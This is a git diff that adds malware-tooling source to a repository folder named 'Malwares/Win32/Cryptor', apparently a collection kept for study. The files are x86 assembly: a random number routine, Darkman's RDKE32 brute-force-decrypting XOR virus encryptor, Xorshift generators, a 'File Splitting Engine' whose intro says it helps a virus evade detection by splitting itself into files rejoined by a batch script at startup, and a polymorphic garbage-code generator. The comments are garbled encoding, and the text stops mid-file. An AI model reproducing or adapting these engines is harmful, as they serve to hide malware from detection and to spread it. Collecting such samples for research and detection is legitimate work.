xxxx xxxx xxxx xxxx xxxxx xxxx xxxx xxxx xxxx xxx ;+; xxxx xxxx xxxx xxxx xxxx xxxx xxxxxxxxxxx xxxxxxxxxx xxxxxxxxxxx ;+; xxxx xxxx xxxx xxxx xxxx xxxx xxxxxxxxxx xxxxxxxxx xxxxxxxxxxx ;+; ;+; ;+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+; ;+; RAndom Numbers Generator ;+; ;+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+; ;+; :)! ;+; ;+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+; ;+; ������� RANG32 ;+; ��������� ��������� ����� (���) ;+; ;+; ;+;����: ;+;1 �������� - ����� (N). ����� ���������� ����� ���������� ����� � ��������� [0..N-1] ;+;--------------------------------------------------------------------------------------------------------;+;�����: ;+;EAX - ��������� ����� � ��������� [0..N-1] ;+; ;+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+; ;+; y0p! ;+; ;+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+; ;+; ���� ;+; ;+;(+) ����������������� ;+;(+) ����� � ������������� ;+;(+) �� ���������� WinApi'��� ;+; ;+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+; ;+; �������������: ;+; ;+;1) �����������: ;+; rang32.asm ;+;2) ����� (������ stdcall): ;+; push 5 ;������ � ���� ����� ;+; call RANG32 ;�������� ��� -> � EAX ����� ������ ����� �������� [0..5-1] ;+; ;+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+++++ ;m1x+ ;EOF+++++RANG32:+ pushad ;��������� ��������+ mov ecx,dword ptr [esp+24h] ;ecx=�����, ��� �������� � �����+ db 0fh,31h+ imul eax,eax,1664525 ;���� ������ ���������� ��� ���������+ add eax,1013904223 ;����� ���������� �����+ add eax,edx+ adc eax,esp+ rcr eax,16+ imul eax,[esp+32]+ xor edx,edx+ mul ecx ;mul ��������� ��� div+ mov dword ptr [esp+1ch],edx+ popad+ ret 04+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx+;����� ������� RANG32+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx+diff --git a/Malwares/Win32/Cryptor/VirTool.Win32.Cryptor.Rdk.inc b/Malwares/Win32/Cryptor/VirTool.Win32.Cryptor.Rdk.incnew file mode 100644index 0000000..0d596d0--- /dev/null+++ b/Malwares/Win32/Cryptor/VirTool.Win32.Cryptor.Rdk.inc@@ -0,0 +1,240 @@+comment *+ ���������������� ���������������+ ��������� �� ��� ��� ��� ���������+ ����� ������ ������ ���۰+ ���� ������ ������ ����+ ���� ����۱ ����۲ ����+ ����� ����������� ����+ ����� ���۲ ���� ���۰+ ������������� ����� ���۱ ���۲� ���۱ ������������+ � ����� ���۲ �����۰ ���۲ �+ � ����� ������ ����۲ ����� �+ �� ����� ���� ���� ����� ��+ ������������������The Knight Templars�����������������+ � �+ � Random Decoding Key Engine 32-bit v 1.0 [RDKE32] �+ � Code by �+ � Darkman/TKT �+ � �+ ����������������������������������������������������+++ Do not use this engine to encrypt known plaintext such as the actual virus+ code. It is possible to decrypt known plaintext encrypted with this+ engine using the X-RAY technique, also known as cryptanalysis. You can read+ more about this technique in "Detecting oh, roughly every polymorphic engine+ out there", an article by Rhincewind/VLAD, published in VLAD Magazine issue+ 4. Billy Belcebu/iKx did this mistake in Win32.Legacy using his Internal+ ENCryptor v 1.0 [iENC], a Random Decoding Key (RDK) engine using a 8-bit+ eXclusive OR (XOR) algorithm to encrypt the actual virus in 19 different+ blocks.++ Length of Random Decoding Key Engine 32-bit v 1.0 [RDKE32]: 171 bytes.+*++hash_size equ (0a0h/08h)++_RDKE32Encrypt struc+ _lpHash dd ?+ _lpBuffer dd ?+ _dwNumberOfBytesToHashAndEncrypt dd ?+ _dwSecurityLevel dd ?+ ends++_RDKE32Decrypt struc+ _lpHash dd ?+ _lpBuffer dd ?+ _dwNumberOfBytesToDecrypt dd ?+ ends++_pushad struc+ _edi dd ?+ _esi dd ?+ _ebp dd ?+ _esp dd ?+ _ebx dd ?+ _edx dd ?+ _ecx dd ?+ _eax dd ?+ ends++rdke32_begin:+; RDKE32Encrypt+;+;+; The RDKE32Encrypt function creates a hash and encrypts data.+;+; VOID RDKE32Encrypt(+; LPVOID lpHash // data buffer to receive hash+; LPVOID lpBuffer // data buffer of data to hash and encrypt+; DWORD dwNumberOfBytesToHashAndEncrypt // number of bytes to hash and+; // encrypt+; DWORD dwSecurityLevel // security level+; );+;+; Parameters+; lpHash+; [out] Pointer to the buffer that receives the hash.+; lpBuffer+; [out] Pointer to the buffer containing the data to be hashed and encrypted.+; dwNumberOfBytesToHashAndEncrypt+; [in] Specifies the number of bytes to be hashed and encrypted.+; dwSecurityLevel+; [in] Specifies the security level of the encryption. The higher it is the+; longer it will take for RDKE32Decrypt to bruteforce and decrypt the+; encrypted data.+;+; Return Values+; This function does not return a value.++RDKE32Encrypt proc ; Random Decoding Key Engine 32-bit+ ; v 1.00 [RDKE32] encryptor+ pushad+ mov edi,[esp._lpHash+size _pushad+04h]+ ; Pointer to the buffer that receives+ ; the hash+ mov ebx,[esp._lpBuffer+size _pushad+04h]+ ; Pointer to the buffer containing the+ ; data to be hashed and encrypted+ mov ecx,[esp._dwNumberOfBytesToHashAndEncrypt+size _pushad+04h]+ ; Specifies the number of bytes to be+ ; hashed and encrypted+ mov eax,[esp._dwSecurityLevel+size _pushad+04h]+ ; Specifies the security level++ call SHA1, edi, ecx, ebx+insecure_key:+ call GetRandomNumberWithinRange+ call test_key_security+ jz insecure_key++ call cryptor+ popad++ ret size _RDKE32Encrypt+ endp++; RDKE32Decrypt+;+;+; The RDKE32Decrypt function creates a hash and encrypts data.+;+; VOID RDKE32Decrypt(+; LPVOID lpHash // data buffer of hash+; LPVOID lpBuffer // data buffer of data to decrypt+; DWORD dwNumberOfBytesToDecrypt // number of bytes to decrypt+; );+;+; Parameters+; lpHash+; [in] Pointer to the buffer containing the hash.+; lpBuffer+; [out] Pointer to the buffer containing the data to decrypted.+; dwNumberOfBytesToDecrypt+; [in] Specifies the number of bytes to be decrypted.+;+; Return Values+; This function does not return a value.++RDKE32Decrypt proc ; Random Decoding Key Engine 32-bit+ ; v 1.00 [RDKE32] decryptor+ pushad+ mov edi,[esp._lpHash+size _pushad+04h]+ ; Pointer to the buffer of the hash+ mov ebx,[esp._lpBuffer+size _pushad+04h]+ ; Pointer to the buffer containing the+ ; data to be decrypted+ mov ecx,[esp._dwNumberOfBytesToDecrypt+size _pushad+04h]+ ; Specifies the number of bytes to be+ ; decrypted+ sub esp,hash_size++ mov esi,esp ; ESI = pointer to the hash+ xor edx,edx+bruteforce_loop:+ inc edx ; EDX = 32-bit encryption/decryption+ ; key+ call test_key_security+ jz bruteforce_loop++ call cryptor++ call SHA1, esi, ecx, ebx++ pushad+ push (hash_size/04h)+ pop ecx+ rep cmpsd ; Succesfully decrypted the buffer to+ ; be decrypted?+ popad+ je RDKE32Decrypt_exit++ call cryptor++ jmp bruteforce_loop+RDKE32Decrypt_exit:+ add esp,hash_size+ popad++ ret size _RDKE32Decrypt+ endp++test_key_security proc ; Test the security of the 32-bit key+ pushad++ test eax,eax ; Insecure key?+ jz test_key_exit++ push 03h+ pop ecx+test_key_loop:+ mov eax,edx ; EDX = 32-bit encryption/decryption+ ; key+ mov ebx,ecx+_test_key_loop:+ rol eax,08h++ test al,dl+ jz test_next_key++ cmp al,dl ; Insecure key?+ je test_key_exit+test_next_key:+ dec ebx+ jnz _test_key_loop++ rol edx,08h++ loop test_key_loop++ inc ecx ; Secure key+test_key_exit:+ popad++ ret+ endp++cryptor proc ; 32-bit encryptor/decryptor+ pushad+crypt_loop:+ inc ecx++ test dl,dl ; Insecure key?+ jz dont_crypt++ dec ecx++ xor [ebx],dl+ inc ebx+dont_crypt:+ rol edx,08h++ loop crypt_loop+ popad++ ret+ endp++ db ' [RDKE32] '+rdke32_end:+rdke32_size equ (rdke32_end-rdke32_begin)diff --git a/Malwares/Win32/Cryptor/VirTool.Win32.Cryptor.Rgen32.asm b/Malwares/Win32/Cryptor/VirTool.Win32.Cryptor.Rgen32.asmnew file mode 100644index 0000000..03c7e14--- /dev/null+++ b/Malwares/Win32/Cryptor/VirTool.Win32.Cryptor.Rgen32.asm@@ -0,0 +1,96 @@+;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;+; ��������� ���������� ����� V. 0.42 (x) 2005 ���� ;+;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;+; ��������: [0..eax-1] ;+;------------------------------------------------------------------------------;+; ������������ �������� ���� ������� ��������� - "Xorshift - 128" ;+; ������ �������� ������ ���� DIEHARD ��� ������ 2^128-1 ;+;------------------------------------------------------------------------------;+; �������������: call r_init ;+; mov eax,������� ��������� ;+; call brandom32 ;+;------------------------------------------------------------------------------;+; ���������: ����� � ��������� [0..������� ���������] ;+;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;++;----[������������ ������������� ���������� ��������� �����]-------------------;++r_init:+ push ebp eax edx ; ��������� � ����� ebp,eax,edx++ call __delta1_ ;+__delta1_: pop ebp ; ��������� ������ ��������+ sub ebp,offset __delta1_ ;++ db 0fh,031h ; �������� ��������� �����+ mov [ebp+x],eax ;++ pop edx eax ebp ; ��������������� edx,eax,ebp++ ret ; ������� �� ������������++;----[������������ ��������� ��������� ����� � ���������]----------------------;++brandom32: ; ��� ������������+ ; ���������� ��������� �����+ ; � ��������� 0..eax-1++ push edx ecx ebp ; ��������� � ����� edx,ecx,ebp++ call __delta2_ ;+__delta2_: pop ebp ; ��������� ������ ��������+ sub ebp,offset __delta2_ ;++ imul eax,eax,100 ; �������� eax �� 100+ push eax ; � ��������� eax � �����++ call random32 ; �������� ������������+ ; ��������� ���������� �����+ xor edx,edx ; �������� edx+ pop ecx ; ��������������� ��������+ ; �� ����� � ecx+ div ecx ; ����� eax �� ecx+ xchg eax,edx ; �������� ������� � eax+ xor edx,edx ; �������� edx+ push 100 ; �������� � ecx - 100+ pop ecx ;+ div ecx ; ����� eax �� ecx+ pop ebp ecx edx ; ��������������� ebp,ecx,edx,+ ret ; ������� �� ������������++;----[������������ ��������� ���������� �����]---------------------------------;++random32:+ push ebx edx ecx ;+ push ebp ; ��������� �������� � �����++ call __delta3_ ;+__delta3_: pop ebp ; ��������� ������ ��������+ sub ebp,offset __delta3_ ;++ mov eax,12345678 ;+ x = dword ptr $-4 ;+ shl eax,0bh ; ��������� ��������������+ xor eax,[ebp+x] ; �������������� �� ������� ���+ mov edx,362436069 ; ��������� ������ �����+ y = dword ptr $-4 ; ��������� �� �� � ���:+ mov [ebp+x],edx ; unsigned long x=123456789,+ mov ecx,521288629 ; y=362436069,+ z = dword ptr $-4 ; z=521288629,+ mov [ebp+y],ecx ; w=88675123;+ mov ebx,88675123 ; t=(x^(x<<11));x=y;y=z;z=w;+ w = dword ptr $-4 ; ��� t � ����� ������ eax+ mov [ebp+z],ebx ;+ mov edx,[ebp+w] ; ����� ���� ���������+ shr edx,13h ; ����������, ������� ���� ��+ xor edx,[ebp+w] ; (w=(w^(w>>19))^(t^(t>>8)));+ xor edx,eax ;+ shr eax,08h ;+ xor edx,eax ;+ mov [ebp+w],edx ;+ mov eax,edx ;++ pop ebp ;+ pop ecx edx ebx ; �������� �������� �� �����++ retn ; ������� �� ������������diff --git a/Malwares/Win32/Cryptor/VirTool.Win32.Cryptor.SetG.7z b/Malwares/Win32/Cryptor/VirTool.Win32.Cryptor.SetG.7znew file mode 100644index 0000000..38f4d63Binary files /dev/null and b/Malwares/Win32/Cryptor/VirTool.Win32.Cryptor.SetG.7z differdiff --git a/Malwares/Win32/Cryptor/VirTool.Win32.Cryptor.Split.asm b/Malwares/Win32/Cryptor/VirTool.Win32.Cryptor.Split.asmnew file mode 100644index 0000000..4bbb7ee--- /dev/null+++ b/Malwares/Win32/Cryptor/VirTool.Win32.Cryptor.Split.asm@@ -0,0 +1,302 @@+ File Splitting Engine+ by Second Part To Hell+ www.spth.de.vu+ written in May-June 2005+ in Austria++ This is just a small engine, but I'm sure it could be very useful.+ What does the engine do? It splitts the current file into 3-10 byte+ parts and creates a joining file (called start.bat).++ To understand it's purpose, you should read my article called+ "Over-File Splitting".++ What could you do with the splitted files?+ - You could make an archive (via own routing, possible installed WinZIP/RAR+ or use the WinME+ preinstalled function [C:\WINDOWS\System32\zipfldr.dll,-10195]+ to compress files.) This file now could be send out via eMail.+ The advantage: No file is infected with an virus - but all together they are.++ - You could save all files in a directory (Windir, system32, whatever), and+ call the joining file every startup. What may happen? Virus/Worm works at+ the computer, but no file is infected :)++ - You could think of your own way to use this technique. Lazy ass :)+++ How to compile:+ - Delete this intro+ - Use flat assembler 1.56++ Now: Much fun with it :)++;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; [File Splitting Engine] ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;+include '..\FASM\INCLUDE\win32ax.inc'++.data+ c_file_name dd 0x0+ c_file_rnd_name: times 8 db 0x0+ db '.tmp',0+ c_file_handle dd 0x0+ c_file_size dd 0x0+ c_map_handle dd 0x0+ c_map_pointer dd 0x0++ compain_name db 'start.bat',0+ compain_data dd 0x0+ compain_pointer dd 0x0+ compain_start db 'copy '+ compain_handle dd 0x0++ split_handle dd 0x0+ split_counter db 0x0++ rand_name_buffer: times 8 db 0x0+ rnd_file_name: times 8 db 0x0+ db '.tmp',0+ ZERO_field dd 0x0++systemtime_struct: ; for random number+ dw 0 ; wYear+ dw 0 ; wMonth+ dw 0 ; wDayOfWeek+ dw 0 ; wDay+ dw 0 ; wHour+ dw 0 ; wMinute+ dw 0 ; wSecond+rnd: dw 0 ; wMilliseconds++.code+ start:+ invoke GetCommandLine+ inc eax ; Delete first "++ mov ebx, eax ; Save eax++ get_my_name:+ inc ebx ; Get next letter+ cmp byte [ebx], '.' ; Compare with '.'+ jne get_my_name++ mov byte [ebx+4], 0x0 ; Delete the second "+ mov [c_file_name], eax ; Save the pointer++ invoke DeleteFile, compain_name ; Delete the old compainer-file the file++ mov ebp, 0xAAAAAAAA ; Influences the random engine+ call random_name ; random name in rnd_file_name++ mov esi, rnd_file_name ; From: random-name buffer+ mov edi, c_file_rnd_name ; To: Buffer for this copy of the file+ mov ecx, 8 ; How much: 8 letters+ rep movsb ; Copy string++ invoke CopyFile, [c_file_name], c_file_rnd_name, FALSE ; Copies the current file to a .tmp++ invoke CreateFile, c_file_rnd_name, GENERIC_READ or GENERIC_WRITE, 0x0, 0x0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0x0 ; Open own file+ mov [c_file_handle], eax ; Save the file handle++ invoke GetFileSize, [c_file_handle], c_file_size ; Get the size of the file+ mov [c_file_size], eax ; Low Filesize returned in eax++ invoke CreateFileMapping, [c_file_handle], 0x0, PAGE_READWRITE, 0x0, [c_file_size], 0x0 ; Create a Map+ mov [c_map_handle], eax ; Save the Map handle++ invoke MapViewOfFile, [c_map_handle], FILE_MAP_WRITE, 0x0, 0x0, [c_file_size] ; Map view of file+ mov [c_map_pointer], eax ; Save the pointer of file++ invoke VirtualAlloc, 0x0, 0x120000, 0x1000, 0x4 ; Reserve Space in Memory+ mov [compain_data], eax ; Save the pointer to it.+ mov [compain_pointer], eax ; Save again++ mov esi, compain_start ; What to write+ mov edi, [compain_pointer] ; Where to write+ mov ecx, 5 ; How much to write+ rep movsb ; Write!++ add [compain_pointer], 5 ; Get next empty byte to write++ main_loop:+ mov ebp, 0xAAAAAAAA ; Influences the random engine+ call random_name ; random name in rnd_file_name++ invoke CreateFile, rnd_file_name, GENERIC_READ or GENERIC_WRITE, 0x0, 0x0, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, 0x0+ cmp eax, INVALID_HANDLE_VALUE ; If file already existed+ je main_loop ; then get a new file-name++ mov [split_handle], eax ; Save the file-handle++ call random_number ; Get random number+ xor eax, eax ; eax=0+ mov al, [rand_name_buffer] ; al~=random+ and al, 7 ; al= 0000 0???+ add al, 3 ; At least three byte+ mov [split_counter], al ; Save that bytes++ sub [c_file_size], eax ; Decrease the bytes to write++ invoke WriteFile, [split_handle], [c_map_pointer], eax, ZERO_field, 0x0 ; Write (1..8) byte+ invoke CloseHandle, [split_handle] ; Close the file++ xor eax, eax+ mov al, [split_counter] ; How many bytes written+ add [c_map_pointer], eax ; Add the pointer - write the next few bytes next time++ mov esi, rnd_file_name ; From: Filename-buffer+ mov edi, [compain_pointer] ; To: compainer-pointer+ mov ecx, 12 ; 8+strlen('.tmp')+ rep movsb ; Write!++ add [compain_pointer], 12 ; Add 12 to pointer++ mov eax, [compain_pointer] ; Pointer to eax++ mov byte [eax], '+' ; Move '+' to the code's memory+ inc [compain_pointer] ; Increase the pointer++ cmp [c_file_size], 0 ; Compare if more bytes to write+ jg main_loop ; If yes, jmp to main_loop++ invoke UnmapViewOfFile, [c_map_pointer] ; Unmap View of File+ invoke CloseHandle, [c_map_handle] ; Close Map+ invoke CloseHandle, [c_file_handle] ; Close File++ invoke DeleteFile, c_file_rnd_name ; Delete the temporary copy of the current file++ invoke CreateFile, compain_name, GENERIC_READ or GENERIC_WRITE, 0x0, 0x0, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, 0x0+ mov [compain_handle], eax+++ mov eax, [compain_pointer] ; eax=pointer+ dec eax ; Delete the last '+'+ mov byte [eax], 0x20 ; Add a space+ inc [compain_pointer] ; Increase pointer again++ mov ebp, 0xAAAAAAAA ; Influences the random engine+ call random_name ; random name in rnd_file_name++ mov eax, rnd_file_name ; RND-pointer in eax+ add eax, 8 ; add 8 to pointer (='.' of filename)+ mov dword [eax], '.exe' ; instate of '.tmp', '.exe'++ dec [compain_pointer]+ mov esi, rnd_file_name ; From: rnd_file_name+ mov edi, [compain_pointer] ; To: compainter_pointer+ mov ecx, 12 ; How much: 12 bytes+ rep movsb ; Write++ add [compain_pointer], 12 ; Add 12, to get the end again+ mov eax, [compain_pointer] ; eax=pointer to content+ mov word [eax], 0x0A0D ; Next Line+ add [compain_pointer], 2++ mov esi, rnd_file_name ; From: rnd_file_name+ mov edi, [compain_pointer] ; To: compainter_pointer+ mov ecx, 12 ; How much: 12 bytes+ rep movsb ; Write++ add [compain_pointer], 12 ; Add 12, to get the end again+++ mov eax, [compain_data]+ sub [compain_pointer], eax++ invoke WriteFile, [compain_handle], [compain_data], [compain_pointer], ZERO_field, 0x0 ; Write the file++ invoke CloseHandle, [compain_handle]++ invoke ExitProcess, 0x0++random_number:+ pop edi ; Get value of stack+ push edi ; Back to the stack+ mov ecx, 8 ; ecx=counter+ mov dh, 0xAA ; dh: changes in the function and makes the number little bit more random+ mov dl, 0x87 ; same as dh+ random_name_loop:+ push dx ; Save dx at stack+ push ecx ; Save counter at stack+ call random_byte ; Random number in al+ pop ecx ; get counter+ xor al, cl ; Counter influences pseudo random number+ pop dx ; Get dx+ push ecx+ xor dx, cx ; Counter influences influncing number+ add dh, al ; Random number influences influencing number+ sub dl, al ; Same as dh+ neg dl ; Neg dl+ xor dl, dh ; dl XOR dh -> more variability+ xor al, dl ; random number changes+ sub ax, di ; value of stack influences random number+ add ax, dx ; ax+dx+ mov dl, [rand_name_buffer+ecx-2]+ mov dh, [rand_name_buffer+ecx-3] ; dx=???? ???? ????? ?????+ sub al, dl ; al-=dl+ add al, dh ; al+=dh+ mov ah, dl ; ah=dl+ push ax ; AX to stack+ mov cl, 1 ; cl=1+ or dh, cl ; dh is at least 1 (to reduce chance of result=zero)+ mul dh ; AL=AX*DH+ pop cx ; CX=old AX+ push cx ; To stack again+ add cl, al ; CL+=AL+ sub cl, ah ; CL-=AH+ xchg al, cl ; AL=CL+ mov cx, bp ; cx=bp+ mul cl ; AX=AL*CL+ neg ah ; NEG AH+ xor al, ah ; xor AL and AH+ pop cx ; get old AX+ sub cl, al ; SUB+ add cl, dl ; cl+=old random number+ sub al, cl ; al ~=random :)+ pop ecx ; Get counter+ mov [rand_name_buffer+ecx-1], al ; Save random letter+ loop random_name_loop+ret++++random_name:+ call random_number ; Get 8 random bytes+ mov ecx, 8 ; counter=8, as we want to do it 8 times++ changetoletter:+ mov al, [rand_name_buffer+ecx-1] ; Get a letter+ mov bl, 10 ; BL=10+ xor ah, ah ; AX: 0000 0000 ???? ????+ div bl ; AL=rnd/10=number between 0 and 25+ add al, 97 ; Add 97 for getting lowercase letters+ mov [rnd_file_name+ecx-1], al ; Save random letter+ loop changetoletter+ret++random_byte:+ invoke GetSystemTime, systemtime_struct ; Get first number+ mov ebx, [rnd-2] ; ebx=number+ add ebx, edx ; Making it pseudo-independent of time+ sub ebx, ecx+ xor ebx, eax+ xchg bl, bh+ pop ecx+ push ecx+ neg ebx+ xor ebx, ecx ; ebx=pseudo-indepentend number++ invoke GetTickCount ; Get second number+ xor eax, ecx ; eax=number+ neg ax ; Making it pseudo-independent of time+ xor eax, edx+ xor ah, al+ sub eax, ebp+ add eax, esi ; eax=pseudo-indepentend number++ xor eax, ebx ; Compain the numbers -> eax+ mov ebx, eax ; Save eax+ shr eax, 8 ; e-part -> ax+ xor ax, bx+ xor al, ah ; al=number+ret+.end start\ No newline at end of filediff --git a/Malwares/Win32/Cryptor/VirTool.Win32.Cryptor.Wig.asm b/Malwares/Win32/Cryptor/VirTool.Win32.Cryptor.Wig.asmnew file mode 100644index 0000000..72bf9c4--- /dev/null+++ b/Malwares/Win32/Cryptor/VirTool.Win32.Cryptor.Wig.asm@@ -0,0 +1,1175 @@+;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;+; ��������� �������� ���������� V. 0.4 (x) 2004 ���� http://slon.wronger.com ;+;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;+; �������������: mov edi,����� ��� ���� ;+; mov ecx,����� ���� ;+; mov ebx,�� ������������ ��������(_all) ;+; call garbage ;+;------------------------------------------------------------------------------;+; ���������: ��������������� ��� � edi ;+;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;+; ������ 0.3 ��������� ���������� �� �������� �������������� ;+; ���������������(��� �������� � ���������� ������� ;+; �������� ���������� ������ ������� "PE") ;+;------------------------------------------------------------------------------;+; ������ 0.2 ��������� ����� ���������� x86, ��� �� ��������� ;+; ���������� ������������ (x87) ;+;------------------------------------------------------------------------------;+; ������ 0.1 ���������� ������ ���������� x86 ����������, ;+; ��������� ���������� ���������� ;+;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;++;----[������� ������������ ���������� ������]----------------------------------;++garbage: ; ������������ ���������+ ; �������� ����������+ push edx ; ��������� � �����+ push ecx ; edx, ecx, esi, ebp, ecx, eax+ push esi ;+ push ebp ;+ push ebx ;+ push eax ;++ call delta_offset ;+delta_offset: pop ebp ; �������� ������ ��������+ sub ebp,offset delta_offset ;++ call r_init ; �������������� ���+__st__:+ test ecx,ecx ; ���� ��� ����������+ jz landing ; �������������, �� �� �����++ mov eax,21 ; �������� ��������� �������+ call brandom32 ; ������� ��������� ��������+ ; ����������+ shl eax,1 ; �������� eax �� 2++ call __freq__ ; �������� ���� ���������� ��+ ; �������������� �����������+ test eax,eax ; ���� �� �������, �� ��������+ jz __st__ ; �����++ lea esi,[ebp+mega_table] ; � esi �������� �� �������+ ; ������������� ��������+ add esi,eax ; � esi ��������� eax+ xor eax,eax ; �������� eax+ lodsw ; � ax ���������+ ; ������������� �������� ��+ ; ����� __st__+ lea esi,[ebp+__st__] ; � esi ����� ��������+ ; ����� __st__+ add eax,esi ; ��������� ��������+ ; ������������+ call eax ; �������� �+ jmp __st__ ; ������� �� __st__++;----[���������� ������ ���������� ������]-------------------------------------;++landing:+ inc [ebp+__generation] ; ����������� ������� ���������++ cmp [ebp+__generation],10 ; ���� ��� �� 10 ���������, ��+ jne __ne__ ; ��� �� �����++ mov [ebp+__generation],0 ; ���������� ������� ���������+++ call gen_mutation ; �������� ��������� 1 ����.+ ; ���. ��������++ mov [ebp+__cross1],ecx ; �������� 1 ���. ������+ ; ��������++ call gen_mutation ; �������� ��������� 2 ����.+ ; ���. ��������++ mov [ebp+__cross2],ecx ; �������� 2 ���. ������+ ; ��������+__ne__:+ mov ecx,[ebp+__cross1] ; ���������� �������� 1 ���.+ call gen_crossover ; ������� ��������++ mov ecx,[ebp+__cross1] ; ���������� �������� 2 ���.+ call gen_crossover ; ������� ��������++ pop eax ;+ pop ebx ;+ pop ebp ;+ pop esi ; ��������������� ��������+ pop ecx ;+ pop edx ;++ ret ; ������� �� ������������+;----[������������ ������ ����. ������������]----------------------------------;++__freq__:+ push eax ; ��������� eax � �����++ lea esi,[ebp+__freq_table] ; ��������� ��������� �� �������+ add esi,eax ; � ���. ����������+ lodsw ; ��������� � ax ���.��������+ mov edx,eax ; ��������� � � edx++ mov eax,1001 ; ����������� ��������� �����+ call brandom32 ; � ��������� 0..1000++ cmp edx,eax ; ��������� ������ �� ��?+ jge __exit__ ; ���� ������, �� �� �����+ mov 4 ptr [esp],0 ; ��� ������� �������� �����+__exit__:+ pop eax ; ��������������� eax �� �����+ ret ; ������� �� ������������++;----[������������ ��������� ���. ��������]------------------------------------;++gen_mutation:+ mov eax,21 ; �������� ��������� �������+ call brandom32 ; ������� ��������� ��������+ ; ����������+ shl eax,1 ; �������� eax �� 2++ lea esi,[ebp+__freq_table] ; � esi �������� �� �������+ ; ���. �������� �������+ add esi,eax ; � esi ��������� eax+ xor eax,eax ; �������� eax+ lodsw ; � ax ��������� ���.+ ; ��������++ call brandom32 ; ���������� �� � ���������+ sub esi,2 ; 0..���.��������-1 � ���������+ ; esi �� 2+ sub 2 ptr [esi],ax ; �������� �� ���. ��������+ ; ���� �������� �����+ push eax ; ��������� � ����� ��++ mov eax,21 ; �������� ��������� �������+ call brandom32 ; ������� ��������� ��������+ ; ����������+ shl eax,1 ; �������� eax �� 2++ mov ecx,eax ;++ lea esi,[ebp+__freq_table] ; � esi �������� �� �������+ ; ���. �������� �������+ add esi,eax ; � esi ��������� eax++ pop eax ; ��������������� �� ����� ��+ add 2 ptr [esi],ax ; � ��������� ��� � �������+ ; ���. ��������+ ret ; ������� �� ������������++;----[������������ �������� ���. ������� ��������]-----------------------------;++gen_crossover:++ mov eax,21 ; �������� ��������� �������+ call brandom32 ; ������� ��������� ��������+ ; ����������+ shl eax,1 ; �������� eax �� 2++ lea esi,[ebp+__freq_table] ; � esi �������� �� �������+ ; ���. �������� �������+ add esi,eax ; � esi ��������� eax+ xor eax,eax ; �������� eax+ lodsw ; � ax ��������� ���.+ ; ��������++ call brandom32 ; ���������� �� � ���������+ sub esi,2 ; 0..���.��������-1 � ���������+ ; esi �� 2+ sub 2 ptr [esi],ax ; �������� �� ���. ��������+ ; ���� �������� �����+ push eax ; ��������� � ����� ��++ lea esi,[ebp+__freq_table] ; � esi �������� �� �������+ ; ���. �������� �������+ add esi,ecx ; � esi ��������� eax++ pop eax ; ��������������� �� ����� ��+ add 2 ptr [esi],ax ; � ��������� ��� � �������+ ; ���. ��������+ ret ; ������� �� ������������+++;----[��������� ���������� JXX SHORT - 0x70..0x7f]-----------------------------;++__jxx_short:+ mov eax,50 ; ���������� ��������� �����+ call brandom32 ; � ��������� 0..49+ push eax ; ��������� eax � �����+ add eax,2 ; ��������� ����� ��������+ cmp eax,ecx ; ��������� �� ������ �� �����+ ; ���� ����������+ pop eax ; ��������������� �� ����� eax+ jle __gen1__ ; ���� ����� ��������� �����+ ret ; �� ������� �� ������������+__gen1__: ;+ push eax ; ����� eax ����� � ����+ mov eax,10 ; �������� ��������� �������+ call brandom32 ; ����� �� 0..9+ add al,70h ; ��������� 70h+ stosb ; � ����� ��� � �����+ pop eax ; �������� �� ����� eax �+ stosb ; ����� � �����+ mov edx,eax ; ����� ����� � edx+ push ecx ; ��������� ecx � 